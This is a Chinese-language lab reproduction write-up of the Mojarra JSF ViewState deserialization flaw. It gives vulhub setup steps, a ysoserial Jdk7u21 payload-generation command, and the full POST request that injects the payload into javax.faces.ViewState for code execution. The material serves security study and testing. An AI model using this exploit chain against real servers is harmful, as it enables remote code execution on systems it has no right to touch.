漏洞概述
JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-08、2.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。
环境搭建
这里使用vulhub来搭建
https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md
进入目录并启动环境
cd vulhub-master/mojarra/jsf-viewstate-deserialization/
docker-compose up -d
访问http://your-ip:8080即可查看到demo页面。
漏洞复现
我们使用ysoserial的Jdk7u21利用链来生成poc
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0
再进行url编码
提交表单,修改其中javax.faces.ViewState字段的值为上述Payload
POST /index.xhtml HTTP/1.1
Host: 192.168.204.138:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 615
Origin: http://192.168.204.138:8080
Connection: close
Referer: http://192.168.204.138:8080/index.xhtml
Cookie: JSESSIONID=1o6ywk3nlp7bntnbcw08fm0rg
Upgrade-Insecure-Requests: 1
j_idt6=j_idt6&j_idt6%3Aj_idt7=&j_idt6%3Aj_idt8=Hello&javax.faces.ViewState=[payload]
docker exec -it 72d99f486d69 /bin/bash
进入镜像看看,成功执行
修复建议
升级到安全版本